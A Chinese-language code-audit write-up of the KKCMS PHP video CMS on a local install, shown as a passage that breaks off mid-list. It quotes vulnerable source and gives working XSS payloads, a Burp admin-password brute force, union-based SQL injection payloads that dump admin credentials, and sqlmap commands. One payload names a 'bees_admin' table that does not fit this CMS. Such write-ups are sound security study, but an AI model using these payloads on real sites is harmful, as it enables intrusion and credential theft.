<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰 | 記一次較為詳細的代碼審計過程

    VSole2022-09-23 07:28:07

    前言

    本次審計的話是Seay+昆侖鏡進行漏洞掃描

    Seay的話它可以很方便的查看各個文件,而昆侖鏡可以很快且掃出更多的漏洞點,將這兩者進行結合起來,就可以發揮更好的效果。

    昆侖鏡官方地址

    https://github.com/LoRexxar/Kunlun-M

    環境

    KKCMS環境搭建

    KKCMS鏈接如下

    https://github.com/liumengxiang/kkcms

    安裝的話正常步驟就好,即

    1、解壓至phpstudy目錄下
    2、訪問install
    3、新建kkcms數據庫,然后在安裝的時候用這個數據庫
    4、安裝完成,開始審計
    

    目錄結構

    常見的目錄結構,簡單了解一下其作用

    admin 后臺管理目錄
    css CSS樣式表目錄
    data 系統處理數據相關目錄
    install 網頁安裝目錄
    images 系統圖片存放目錄
    template 模板
    system  管理目錄
    

    代碼審計

    對掃描出的開始進行審計

    驗證碼重用

    admin/cms_login.php

    源碼如下

    <?php
    require_once('../system/inc.php');
    if(isset($_POST['submit'])){
        if ($_SESSION['verifycode'] != $_POST['verifycode']) {
            alert_href('驗證碼錯誤','cms_login.php');
        }
        null_back($_POST['a_name'],'請輸入用戶名');
        null_back($_POST['a_password'],'請輸入密碼');
        null_back($_POST['verifycode'],'請輸入驗證碼');
        $a_name = $_POST['a_name'];
        $a_password = $_POST['a_password'];
        $sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
        $result = mysql_query($sql);
        if(!! $row = mysql_fetch_array($result)){
            setcookie('admin_name',$row['m_name']);
            setcookie('admin_password',$row['m_password']);
            header('location:cms_welcome.php');
        }else{
            alert_href('用戶名或密碼錯誤','cms_login.php');
        }
    }
    ?>
    

    驗證碼的校驗代碼

    if ($_SESSION['verifycode'] != $_POST['verifycode']) {
            alert_href('驗證碼錯誤','cms_login.php');
        }
    

    不難發現這里是將$_SESSION['verifycode']與POST上傳的verifycode相比較,如果不相等就會刷新跳轉,重新回到登錄處,此時驗證碼也會被更新。

    我們進入前端界面看一下

    發現驗證碼js對應處存在文件,跟進查看一下

    <?php
    session_start();
    $image = imagecreate(50, 34);
    $bcolor = imagecolorallocate($image, 0, 0, 0);
    $fcolor = imagecolorallocate($image, 255, 255, 255);
    $str = '0123456789';
    $rand_str = '';
    for ($i = 0; $i < 4; $i++){
        $k = mt_rand(1, strlen($str));
        $rand_str .= $str[$k - 1];
    }
    $_SESSION['verifycode'] = $rand_str;
    imagefill($image, 0, 0, $bcolor);
    imagestring($image, 7, 7, 10, $rand_str, $fcolor);
    header('content-type:image/png');
    imagepng($image);
    ?>
    

    該文件的含義是用0-9中的任意四個數字作為驗證碼,也就是說js引用該文件來產生驗證碼。這里學習過其他師傅的思路后,了解到

    Burpsuite默認不解析js
    

    因此我們這里就可以借助bp抓包,摒棄js,對用戶名和密碼進行爆破

    抓包后發送到instruct模塊,在密碼處添加變量

    而后添加一些常用的弱口令密碼

    開始爆破

    成功爆破出密碼

    XSS

    wap/shang.php

    使用昆侖鏡進行掃描,得到結果

    結合Seay,查看該文件代碼

    可以看到直接輸出了 $_GET['fee'],因此我們這里直接傳入一個xss語句嘗試觸發xss

    payload

    fee=<script>alert(1)</script>
    

    wap/seacher.php

    昆侖鏡掃描

    利用seay查看源碼

    //這只是一部分,具體的師傅們可自行查看此文件
    <?php include('../system/inc.php');
    include('../data/cxini.php');
    $link=$zwcx['zhanwai'];
    $q=$_POST['wd'];
    
    <!DOCTYPE html>
    <html>
    <head lang="en">
    <?php  include 'head.php';?>
    <title>搜索<?php echo $q?>-<?php echo $xtcms_seoname;?></title>
    <meta name="keywords" content="<?php echo $q?>,<?php echo $xtcms_keywords;?>">
    <meta name="description" content="<?php echo $xtcms_description;?>">
    

    可以發現這里這個變量$q直接被輸出了,這個$qPOST上傳的wd參數,因此我們這里POST上傳wd參數,給它賦值一個xss語句的話,應該是可以進行XSS的,我們試著去構造一下

    wp=<script>alert(1)</script>
    

    成功觸發XSS

    wap/movie.php

    //部分源碼
    <?php include('../system/inc.php');
    include '../system/list.php';
    $page=$_GET['page'];?>
    <!DOCTYPE html>
    <html>
    $b=(strpos($_GET['m'],'rank='));
    $ye=substr($_GET['m'],$b+5);
    ?>
    <a <?php if ($ye=="rankhot"){echo 'class="on"';}elseif($ye=="createtime" or $ye=="rankpoint"){}else{ echo 'class="on"';};?> href="?m=/dianying/list.php?rank=rankhot">最近熱映</a> 
    <a  <?php if ($ye=="createtime"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=createtime">最新上映</a>        
    <a  <?php if ($ye=="rankpoint"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=rankpoint">最受好評</a>
    </div>
    <?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>
    </ul>
    </div>
    </div>
    </section>
    <?php  include 'footer.php';?>
    

    存在可控參數$_GET['m']$_GET['page'],開頭引用了inc.php,試著找一下輸出語句。

    發現輸出語句

    <?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>
    

    發現被函數getPageHtml包裹了,跟進查看

    function getPageHtml($_var_60, $_var_61, $_var_62)
    {
        $_var_63 = 5;
        $_var_60 = $_var_60 < 1 ? 1 : $_var_60;
        $_var_60 = $_var_60 > $_var_61 ? $_var_61 : $_var_60;
        $_var_61 = $_var_61 < $_var_60 ? $_var_60 : $_var_61;
        $_var_64 = $_var_60 - floor($_var_63 / 2);
        $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
        $_var_65 = $_var_60 + floor($_var_63 / 2);
        $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
        $_var_66 = $_var_65 - $_var_64 + 1;
        if ($_var_66 < $_var_63 && $_var_64 > 1) {
            $_var_64 = $_var_64 - ($_var_63 - $_var_66);
            $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
            $_var_66 = $_var_65 - $_var_64 + 1;
        }
        if ($_var_66 < $_var_63 && $_var_65 < $_var_61) {
            $_var_65 = $_var_65 + ($_var_63 - $_var_66);
            $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
        }
        if ($_var_60 > 1) {
            $_var_67 .= '<li><a  title="上一頁" href="' . $_var_62 . ($_var_60 - 1) . '"">上一頁</a></li>';
        }
        for ($_var_68 = $_var_64; $_var_68 <= $_var_65; $_var_68++) {
            if ($_var_68 == $_var_60) {
                $_var_67 .= '<li><a style="background:#FF9900;"><font color="#fff">' . $_var_68 . '</font></a></li>';
            } else {
                $_var_67 .= '<li><a href="' . $_var_62 . $_var_68 . '">' . $_var_68 . '</a></li>';
            }
        }
        if ($_var_60 < $_var_65) {
            $_var_67 .= '<li><a  title="下一頁" href="' . $_var_62 . ($_var_60 + 1) . '"">下一頁</a></li>';
        }
        return $_var_67;
    }
    

    跟進查看后也沒有發現輸出點,結果網頁端js代碼再看看

    傳參

    http://127.0.0.1:8080/kkcms-kkcms/wap/movie.php?m=111
    

    查看源代碼,Ctrl+f?m=111查找對應js代碼

    找到js代碼

    <li><a href="movie.php?m=111&page=4">4</a></li><li><a href="movie.php?m=111&page=5">5</a></li><li><a  title="下一頁" href="movie.php?m=111&page=2"">下一頁</a></li></ul>
    

    嘗試直接閉合a標簽執行xss語句,構造payload如下

    ?m="><script>alert(111)</script>
    

    成功觸發xss

    同類XSS文件如下

    wap/tv.php
    其對應輸出代碼如下
    <?php echo getPageHtml($page,$fenye,'tv.php?m='.$yourneed.'&page=');?>
    
    wap/zongyi.php
    其對應輸出代碼如下
    <?php echo getPageHtml($page,$fenye,'zongyi.php?m='.$yourneed.'&page=');?>
    
    wap/dongman.php
    其對應輸出代碼如下
    <?php echo getPageHtml($page,$fenye,'dongman.php?m='.$yourneed.'&page=');?>
    

    system/pcon.php(失敗)

    發現這里有個echo 變量的,利用Seay跟進一下這個文件

    <?php
    if ($xtcms_pc==1){
    ?>
    
    <script>
    function uaredirect(f){try{if(document.getElementById("bdmark")!=null){return}var b=false;if(arguments[1]){var e=window.location.host;var a=window.location.href;if(isSubdomain(arguments[1],e)==1){f=f+"/#m/"+a;b=true}else{if(isSubdomain(arguments[1],e)==2){f=f+"/#m/"+a;b=true}else{f=a;b=false}}}else{b=true}if(b){var c=window.location.hash;if(!c.match("fromapp")){if((navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i))){location.replace(f)}}}}catch(d){}}function isSubdomain(c,d){this.getdomain=function(f){var e=f.indexOf("://");if(e>0){var h=f.substr(e+3)}else{var h=f}var g=/^www\./;if(g.test(h)){h=h.substr(4)}return h};if(c==d){return 1}else{var c=this.getdomain(c);var b=this.getdomain(d);if(c==b){return 1}else{c=c.replace(".","\\.");var a=new RegExp("\\."+c+"$");if(b.match(a)){return 2}else{return 0}}}};
    </script>
    <?php
    if ($_GET['play']!=""){
    $cc="play.php?play=";
    $dd="bplay.php?play=";
    $yugao=explode('.html',$_GET['play']);
    for($k=0;$k<count($yugao);$k++){
    if ($k>0){
    $tiaourl=$cc.$_GET['play'];
            }
    else{
    $tiaourl=$dd.$_GET['play']; 
            }
    }
    }
    ?>
    <script type="text/javascript">uaredirect("<?php echo $xtcms_domain;?>wap/<?php echo $tiaourl;?>");</script>
    <?php    } ?>
    

    此時發現可控變量play,如果讓他變為xss惡意語句,就可能會實現xss,但我們這個時候看一下最上面,發現有一個if語句

    if ($xtcms_pc==1){
    

    它這個條件為true后執行的語句,不仔細看的話甚至都找不到結尾處在哪,經過仔細查看后發現在最后

    這里的話也就是說,我們只有滿足了$xtcms_pc==1這個條件,才能夠成功的往下執行,進而利用play參數構造xss語句,因此我們此時就需要跟進這個$xtcms_pc變量,全局搜索一下

    發現變量賦值點,跟進查看

    簡單看一下這里的代碼,發現這個結果是從SQL查詢處的結果取出的,而SQL語句不存在變量,因此這里的話我們是不可控的,所以這里的話應該是不存在XSS的,G

    admin/cms_ad.php

    登錄后臺后發現有個廣告管理界面

    發現這里可以設置名稱和廣告內容,嘗試在名稱處插入xss語句

    發現此時成功觸發了xss語句,那么這里的話應該是直接將廣告名稱進行了輸出,我們查看后端代碼,驗證一下

    <?php
    include('../system/inc.php');
    include('cms_check.php');
    error_reporting(0);
    include('model/ad.php');
    ?>
    <?php include('inc_header.php') ?>
    <div class="tab-pane1">
    <div class="row">
    <div class="col-sm-12">
    <div class="form-group has-feedback">
    <label for="name-w1">名稱</label>
    <input id="l_name" class="form-control" name="title" type="text" size="60" data-validate="required:請填寫廣告名稱" value="" />
    <span class="help-block">請輸入廣告名稱</span>
    </div>
    </div>
    </div>
    <div class="row">
    <div class="col-sm-12">
    <div class="form-group">
    <label for="ccnumber-w1">內容</label>
    <textarea id="l_picture" class="form-control" name="pic" /></textarea>
    <span class="help-block">請輸入廣告的內容&lt;a href="網址" target="_blank"&gt;&lt;img src="圖片地址" style="width:100%"&gt;&lt;/a&gt;</span>
    </div>
    </div>
    </div>
    <div class="row">
    <div class="form-group col-sm-12">
    <label for="ccmonth-w1">廣告位置</label>
    <select id="catid" class="form-control" name="catid">
    <?php
    $result = mysql_query('select * from xtcms_adclass');
    while($row1 = mysql_fetch_array($result)){
    ?>
    <option value="<?php echo $row1['id']?>"><?php echo $row1['name']?></option>
    <?php
    }
    ?>
    

    后端名稱處代碼為

    <input id="l_name" class="form-control" name="title" type="text" size="60" data-validate="required:請填寫廣告名稱" value="" />
    

    可以發現這里只是限制了長度為60,其他沒有什么限制,輸出廣告內容的代碼是

    $result = mysql_query('select * from xtcms_ad order by id desc');
    while($row = mysql_fetch_array($result)){
    ?><tr>
    <td><?php echo $row['id']?></td>
    <td><?php echo $row['title']?></td>
    

    這里的話是取出結果,然后將結果賦值給$row,最后輸出了$row['id']$row['name'],正如同所說的一樣,不存在過濾點,因而導致了XSS的出現

    而你此時大概看一下代碼的話,它的內容也是如此,內容是在加載頁面的時候出現的,這個時候我們可以用img來構造一個xss惡意語句

    此時隨便訪問首頁的一個視頻

    成功觸發XSS

    youlian.php

    <?php 
    include('system/inc.php');
    if(isset($_POST['submit'])){
    null_back('admin','.');
        null_back($_POST['content'],'你的鏈接及網站名');
        $data['userid'] = $_POST['userid'];
        $data['content'] =addslashes($_POST['content']);
        $data['time'] =date('y-m-d h:i:s',time());
    
        $str = arrtoinsert($data);
            $sql = 'insert into xtcms_youlian ('.$str[0].') values ('.$str[1].')';
    

    設置了addslashes函數防止SQL注入,但并未防止XSS,我們構造payload如下

    <a href=Javascript:alert(1)>xss</a>
    

    后端查看就會發現

    XSS被觸發

    admin/cms_kamilist.php

    //部分源碼
    <?php
    include('../system/inc.php');
    include('cms_check.php');
    error_reporting(0);
    
    ?>
    <?php include('inc_header.php') ?>
    <select class="form-control" onchange="location.href='cms_kamilist.php?c_used='+this.options[this.selectedIndex].value;">
    <option value="">使用情況</option>
    <option value="1" >已使用</option> <option value="0">未使用</option>                      </select>
    <input id="c_pass" class="form-control" type="text" name="c_number" placeholder="卡密"/>
    <input id="id" class="input" type="hidden" name="id" value="<?php echo $_GET["id"] ?>"/>
    <input type="submit" id="search" class="btn btn-info" name="search" value="查找" />
    <a class="btn btn-info" href="cms_dao.php<?php if (isset($_GET['id'])) { echo '?cpass='.$_GET["id"];}?>"><span class="icon-plus-square">導出</span></a>
    </div>
    

    關注

    value="<?php echo $_GET["id"] ?>"
    

    發現這里參數id沒有什么防護,雖然開頭涉及了inc.php,但那個是防護SQL注入的,不影響xss。我們這里如果能夠閉合語句的話,似乎就可以觸發XSS了。payload

    id="><script>alert(1)</script>
    //此時的語句就是 value="<?php echo "><script>alert(1)</script> ?>"
    

    結果如下

    wx_api.php

    class wechatCallbackapiTest
    {
        public function valid()
        {
            $echoStr = $_GET["echostr"];
            if($this->checkSignature()){
                echo $echoStr;
                exit;
            }
        }
    

    可以發現這里的參$_GET['echostr']不存在防護,在傳入后經過一個if語句直接進行了輸出,我們跟進一下這個if語句了的checkSignature函數查看一下

    private function checkSignature()
        {
            // you must define TOKEN by yourself
            if (!defined("TOKEN")) {
                throw new Exception('TOKEN is not defined!');
            }
    
            $signature = $_GET["signature"];
            $timestamp = $_GET["timestamp"];
            $nonce = $_GET["nonce"];
    
            $token = TOKEN;
            $tmpArr = array($token, $timestamp, $nonce);
            // use SORT_STRING rule
            sort($tmpArr, SORT_STRING);
            $tmpStr = implode( $tmpArr );
            $tmpStr = sha1( $tmpStr );
    
            if( $tmpStr == $signature ){
                return true;
            }else{
                return false;
            }
        }
    

    發現這里大概是個檢驗token的,傳個空對應的md5值應該就可以,嘗試xss

    payload

    ?echostr=<script>alert('別當舔狗')</script>&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709
    

    SQL

    bplay.php

    <?php 
    include('system/inc.php');//載入全局配置文件
    error_reporting(0);//關閉錯誤報告
    $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
    if (!!$row = mysql_fetch_array($result)) {
        $d_id = $row['d_id'];
        $d_name = $row['d_name'];
        $d_jifen = $row['d_jifen'];
        $d_user = $row['d_user'];
        $d_parent = $row['d_parent'];
        $d_picture = $row['d_picture'];
        $d_content = $row['d_content'];
        $d_scontent = $row['d_scontent'];
        $d_seoname = $row['d_seoname'];
        $d_keywords = $row['d_keywords'];
        $d_description = $row['d_description'];
        $d_player = $row['d_player'];
        $d_title = ($d_seoname == '') ? $d_name .' - '.$xtcms_name : $d_seoname.' - '.$d_name.' - '.$xtcms_name ;
    } else {
        die ('您訪問的詳情不存在');
    }
    $result1 = mysql_query('select * from xtcms_vod_class where c_id='.$d_parent.' order by c_id asc');
    while ($row1 = mysql_fetch_array($result1)){
    $c_hide=$row1['c_hide'];
    }
    if($c_hide>0){
    if(!isset($_SESSION['user_name'])){
            alert_href('請注冊會員登錄后觀看',''.$xtcms_domain.'ucenter');
        };
        $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查詢會員積分
         if($row = mysql_fetch_array($result)){
         $u_group=$row['u_group'];//到期時間
         }
     if($u_group<=1){//如果會員組
     alert_href('對不起,您不能觀看會員視頻,請升級會員!',''.$xtcms_domain.'ucenter/mingxi.php');
     } 
    }
    include('system/shoufei.php');
    if($d_jifen>0){//積分大于0,普通會員收費
        if(!isset($_SESSION['user_name'])){
            alert_href('請注冊會員登錄后觀看',''.$xtcms_domain.'ucenter');
        };
        $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查詢會員積分
         if($row = mysql_fetch_array($result)){
         $u_points=$row['u_points'];//會員積分
         $u_plays=$row['u_plays'];//會員觀看記錄
         $u_end=$row['u_end'];//到期時間
         $u_group=$row['u_group'];//到期時間
         }  
    
             if($u_group<=1){//如果會員組
         if($d_jifen>$u_points){
         alert_href('對不起,您的積分不夠,無法觀看收費數據,請推薦本站給您的好友、賺取更多積分',''.$xtcms_domain.'ucenter/yaoqing.php');
        }  else{
    
        if (strpos(",".$u_plays,$d_id) > 0){ 
    
        }   
        //有觀看記錄不扣點
    else{
    
       $uplays = ",".$u_plays.$d_id;
       $uplays = str_replace(",,",",",$uplays);
       $_data['u_points'] =$u_points-$d_jifen;
       $_data['u_plays'] =$uplays;
       $sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$_SESSION['user_name'].'"';
    if (mysql_query($sql)) {
    
    alert_href('您成功支付'.$d_jifen.'積分,請重新打開視頻觀看!',''.$xtcms_domain.'bplay.php?play='.$d_id.'');
    }
    }
    
    }
    }
    }
    if($d_user>0){  
    if(!isset($_SESSION['user_name'])){
            alert_href('請注冊會員登錄后觀看',''.$xtcms_domain.'ucenter');
        };
        $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查詢會員積分
         if($row = mysql_fetch_array($result)){
         $u_points=$row['u_points'];//會員積分
         $u_plays=$row['u_plays'];//會員觀看記錄
         $u_end=$row['u_end'];//到期時間
         $u_group=$row['u_group'];//到期時間
         }       
    if($u_group<$d_user){
        alert_href('您的會員組不支持觀看此視頻!',''.$xtcms_domain.'ucenter/mingxi.php');
    }
    }
    function get_play($t0){
        $result = mysql_query('select * from xtcms_player where id ='.$t0.'');
        if (!!$row = mysql_fetch_array($result)){
    return $row['n_url'];
        }else{
            return $t0;
        };
    }
    $result = mysql_query('select * from xtcms_vod where d_id ='.$d_id.'');
        if (!!$row = mysql_fetch_array($result)){
    $d_scontent=explode("\r\n",$row['d_scontent']);
    //print_r($d_scontent);
    for($i=0;$i<count($d_scontent);$i++)
    {   $d_scontent[$i]=explode('$',$d_scontent[$i]);
            }
    $playdizhi=get_play($row['d_player']).$d_scontent[0][1];
        }else{
            return '';
        };
    
    include('template/'.$xtcms_bdyun.'/bplay.php');
    ?>
    

    這里的話可以看出主要的SQL語句是這句話

    $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
    

    然后這個play參數是GET傳參的,同時看這里的代碼可以看出它是沒有單引號或者雙引號包裹的,此時我們跟進一下include的文件,也就是system/inc.php,查看一下這個文件

    跟進這個library.php

    <?php
    //展示的只是一部分
    if (!defined('PCFINAL')) {
        exit('Request Error!');
    }
    if (!get_magic_quotes_gpc()) {
        if (!empty($_GET)) {
            $_GET = addslashes_deep($_GET);
        }
        if (!empty($_POST)) {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE = addslashes_deep($_COOKIE);
        $_REQUEST = addslashes_deep($_REQUEST);
    }
    

    可以發現這里的話對傳入的參數都進行了特殊字符轉義,防止SQL注入

    但事實上我們那個參數未被單引號或者雙引號包裹,這也就意味著這里的防護其實是無意義的,因此我們這里的話我們也就可以嘗試去進行SQL注入

    首先我們試著去檢測一下字段數,payload如下所示

    play=1 order by 17  //回顯正常
    play=1 order by 18  //回顯錯誤
    

    這里的話也就可以發現字段數為17了,接下來就可以進去聯合查詢了,首先我們需要去找一下回顯位

    play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17
    

    可以發現回顯位是2和9,我們這個時候就可以去讀取數據庫、數據表這些了,payload如下

    //查庫
    play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16, 17
    //查表
    play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16, 17
    //查列
    play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16, 17//之所以用十六進制是因為這里的單引號會被轉義
    //查字段
    play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16, 17
    

    wap/user.php(失敗)

    結合Seay

    <?php include('../system/inc.php');
    error_reporting(0);
    $op=$_GET['op'];
    if(!isset($_SESSION['user_name'])){
            alert_href('請登陸后進入','login.php?op=login');
        };
        //退出
    if ($op == 'out'){  
    unset($_SESSION['user_name']);
    unset($_SESSION['user_group']);
    if (! empty ( $_COOKIE ['user_name'] ) || ! empty ( $_COOKIE ['user_password'] ))   
        {  
            setcookie ( "user_name", null, time () - 3600 * 24 * 365 );  
            setcookie ( "user_password", null, time () - 3600 * 24 * 365 );  
        }  
    header('location:login.php?op=login');
    }
    //支付
    if ( isset($_POST['paysave']) ) {
    if ($_POST['pay']==1){
    
    //判定會員組別
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
    if($row = mysql_fetch_array($result)){
    
    $u_points=$row['u_points'];
    $u_group=$row['u_group'];
    $send = $row['u_end'];
    
    //獲取會員卡信息
    $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
    if($row2 = mysql_fetch_array($card)){
    $day=$row2['day'];//天數
    $userid=$row2['userid'];//會員組
    $jifen=$row2['jifen'];//積分
    }
    //判定會員組
    if ($row['u_group']>$userid){ 
    alert_href('您現在所屬會員組的權限制大于等于目標會員組權限值,不需要升級!','mingxi.php');
    }
    

    看這一處代碼

    $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
    

    不難發現這里的Select語句中的參數被雙引號包裹了,而開頭包含了inc.php文件,之前就已經查看過,這個文件包含了四個文件,其中一個文件中有addslashes_deep函數,對傳入的參數中的特殊字符(如',",\)進行了轉義,因此我們這里的話無法通過閉合雙引號達到SQL注入的目的,同文件的其他SQL注入處也是如此,這里不再展示

    wap/login.php

    掃出login.php中存在多個可控變量,我們使用Seay來看一下具體代碼

    //展示的僅為一部分
    <?php include('../system/inc.php');
    $op=$_GET['op'];
    
    if(isset($_POST['submit'])){
        null_back($_POST['u_name'],'請輸入用戶名');
        null_back($_POST['u_password'],'請輸入密碼');
        $u_name = $_POST['u_name'];
        $u_password = $_POST['u_password'];
        $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
        $result = mysql_query($sql);
        if(!! $row = mysql_fetch_array($result)){
    
        $_data['u_loginnum'] = $row['u_loginnum']+1; 
        $_data['u_loginip'] =$_SERVER["REMOTE_ADDR"]; 
        $_data['u_logintime'] =date('y-m-d h:i:s',time());
        if(!empty($row['u_end'])) $u_end= $row['u_end'];
        if(time()>$u_end){
        $_data['u_flag'] =="0";
        $_data['u_start'] =="";
        $_data['u_end'] =="";
        $_data['u_group'] =1;
        }else{
        $_data['u_flag'] ==$row["u_flag"];
        $_data['u_start'] ==$row["u_start"];
        $_data['u_end'] ==$row["u_end"];
        $_data['u_group'] =$row["u_group"];
        }
        mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');
        $_SESSION['user_name']=$row['u_name'];
        $_SESSION['user_group']=$row['u_group'];
        if($_POST['brand1']){ 
    setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365); 
    setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365); 
    } 
            header('location:user.php');
        }else{
            alert_href('用戶名或密碼錯誤或者尚未激活','login.php?op=login');
        }
    }
    if(isset($_POST['reg'])){
    $username = stripslashes(trim($_POST['name']));
    // 檢測用戶名是否存在
    $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
    if(mysql_fetch_array($query)){
    echo '<script>alert("用戶名已存在,請換個其他的用戶名");window.history.go(-1);</script>';
    exit;
    }
    $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
    if(mysql_fetch_array($result)){
    echo '<script>alert("郵箱已存在,請換個其他的郵箱");window.history.go(-1);</script>';
    exit;
    }
    $password = md5(trim($_POST['password']));
    $email = trim($_POST['email']);
    $regtime = time();
    $token = md5($username.$password.$regtime); //創建用于激活識別碼
    $token_exptime = time()+60*60*24;//過期時間為24小時后
    $data['u_name'] = $username;
    $data['u_password'] =$password;
    $data['u_email'] = $email;
    $data['u_regtime'] =$regtime;
    if($xtcms_mail==1){
    $data['u_status'] =0;
        }else{
    $data['u_status'] =1;
        }
    $data['u_group'] =1;
    $data['u_fav'] =0;
    $data['u_plays'] =0;
    $data['u_downs'] =0;
    //推廣注冊
    if (isset($_GET['tg'])) {
        $data['u_qid'] =$_GET['tg'];
        $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
    if($row = mysql_fetch_array($result)){
    
    $u_points=$row['u_points'];
    }
    

    不難發現這里的SELECT語句有以下幾個

    $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
    $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
    $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
    $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
    

    但文件開頭就聲明包含了inc.php文件,說明這里的話包含了過濾函數,也就是對SQL注入是有防護的,對'"以及\都進行了轉義,因此這里如果參數是被單引號或者雙引號包裹的話,那么這里極有可能算是G了,我們看第一個,也就是

    $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
    

    它這個不難發現,$u_name$u_password都被雙引號包裹了,因此這里就不存在SQL注入了。但是看一下第二個,第二個的username參數雖然是被雙引號進行包裹了,但你會發現這個參數的傳值方式是$username = stripslashes(trim($_POST['name']));,這個stripslashes的功能是消除由addslashes函數增加的反斜杠,一個增加一個消除,那這里不就跟沒有設置過濾一樣嗎,因此這個name參數是存在SQL注入的,我們通過BurpSuite進行抓包

    然后將內容復制到一個txt文件中

    我這里保存在sqlmap目錄下

    而后打開sqlmap,輸入如下payload即可

    python sqlmap.py "D:/sqlmap/2.txt" --dbs --batch
    

    可以看到存在延時注入,成功爆破出數據庫

    vlist.php

    在這個界面,用單引號測試一下發現跟正常界面有所不同

    看一下后端代碼

    <?php
    if ($_GET['cid'] != 0){
        ?>
    
                                                  <?php
    $result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
    while ($row = mysql_fetch_array($result)){
    
                echo '<a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">'.$row['c_name'].'</a>';
            }
    ?>
    

    這里簡單看一下的話,不難發現這里的參數cid是不存在任何防護的,即沒有被單引號或者雙引號包裹,因此這里開頭引用的inc.php雖然對SQL注入進行了防護,但在這里其實是沒有意義的,用SQLmap跑一下

    python sqlmap.py -u http://127.0.0.1:8080/kkcms-kkcms/vlist.php?cid=1 --dbs --batch
    

    后端文件

    掃出多個后端文件存在SQL注入,接下來逐一進行檢測

    admin/cms_admin_edit.php

    源碼如下

    //部分代碼
    <?php
    include('../system/inc.php');
    include('cms_check.php');
    error_reporting(0);
    include('model/admin_edit.php');
    ?>
    <?php
    $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
    if($row = mysql_fetch_array($result)){
    ?>
    

    這里的話重點關注肯定是SQL語句,也就是這句話

    $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
    

    發現id是無引號包裹的,這意味著這里是存在SQL注入的,我們去驗證一下

    id=1
    

    id=1 and sleep(5)
    

    發現兩者回顯時間不同,說明存在SQL注入,具體為時間盲注,這里就可以編寫Python腳本來爆破數據庫信息,也可以通過SQLmap,這里不再展示

    admin/cms_login.php

    <?php
    require_once('../system/inc.php');
    if(isset($_POST['submit'])){
        if ($_SESSION['verifycode'] != $_POST['verifycode']) {
            alert_href('驗證碼錯誤','cms_login.php');
        }
        null_back($_POST['a_name'],'請輸入用戶名');
        null_back($_POST['a_password'],'請輸入密碼');
        null_back($_POST['verifycode'],'請輸入驗證碼');
        $a_name = $_POST['a_name'];
        $a_password = $_POST['a_password'];
        $sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
        $result = mysql_query($sql);
    

    這里的話就是發現這個可控參數都被雙引號包裹了,然后文件開頭包含了inc.php,意味著存在對SQL注入的防護,因此這里的話是無法實現SQL注入的,轉戰下一處。

    admin/cms_user_edit.php

    //部分代碼
    <?php
    include('../system/inc.php');
    include('cms_check.php');
    error_reporting(0);
    include('model/user_edit.php');
    ?>
    <?php
    $result = mysql_query('select * from xtcms_user where u_id = '.$_GET['id'].'');
    if($row = mysql_fetch_array($result)){
    ?>
    

    一眼頂真,無包裹方式,存在SQL注入

    id = 16 and sleep(5)
    

    具體不再演示,此類的我將其列在一起,具體如下所示

    admin/cms_nav_edit.php
     其SQL語句如下
     $result = mysql_query('select * from xtcms_nav where id = '.$_GET['id'].'');
    
     admin/cms_detail_edit.php
     其SQL語句如下
     $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['id'].'');
    
     admin/cms_channel_edit.php
     其SQL語句如下
